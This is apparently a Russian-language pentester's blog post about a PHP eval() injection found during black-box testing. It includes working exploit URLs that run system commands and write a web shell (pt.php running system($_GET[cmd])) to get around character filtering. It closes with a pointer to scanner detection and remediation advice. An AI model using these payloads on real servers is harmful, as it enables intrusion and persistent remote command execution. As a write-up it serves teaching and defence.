Выполнение команд на сервере в функции eval()

Как-то довелось мне исследовать одно Web-приложение методом black-box, в котором была выявлена красиво эксплуатабельная уязвимость, позволяющая выполнять произвольные команды на сервере.

На этапе проведения сканирования, в поле зрения попало следующее сообщение об ошибке:


Уязвимый код (полученный по окончании работ):

...
if($_CONFIG["STATUS"]) eval(mkPHPeval($TMP));
...


Из сообщения об ошибке отчетливо прослеживается, что в функцию eval() попадают данные без предварительной обработки. Данная функция пхп оценивает передаваемую в нее строку как PHP-код. Причем, достаточно часто я встречаюсь с ее использованием в различных CMS. В общем, эксплуатируется подобная уязвимость следующим образом:
http://victim/?id=";system("ls%20-la");%20"

Можно было бы предположить, что имея возможность выполнения команд на сервере через уязвимость в этой функции проблем с получением полноценного web-shell’а возникнуть не должно. Однако, в моем случае фильтрация некоторых символов все-таки осуществлялась (фильтровались знаки перенаправления и объединения потоков). Поэтому был составлен запрос следующего вида:
http://victim/?id=";$ha=fopen(substr("userfiles/pt.php",0,16),"w");fwrite($ha,$_GET[write]);%20"&write=<?system($_GET[cmd]);?>

И после успешного выполнения запроса был получен наколенный web-shell без какой либо фильтрации передаваемых к нему символов:
http://victim/userfiles/pt.php?cmd=ls

К слову, в настоящее время XSpider отлавливает подобного рода уязвимости в функции eval(). А для того, чтобы избежать их появления, и появления прочих, не менее опасных уязвимостей в Web, можно воспользоваться рекомендациями, приведенными в этом разделе.

1 комментарий :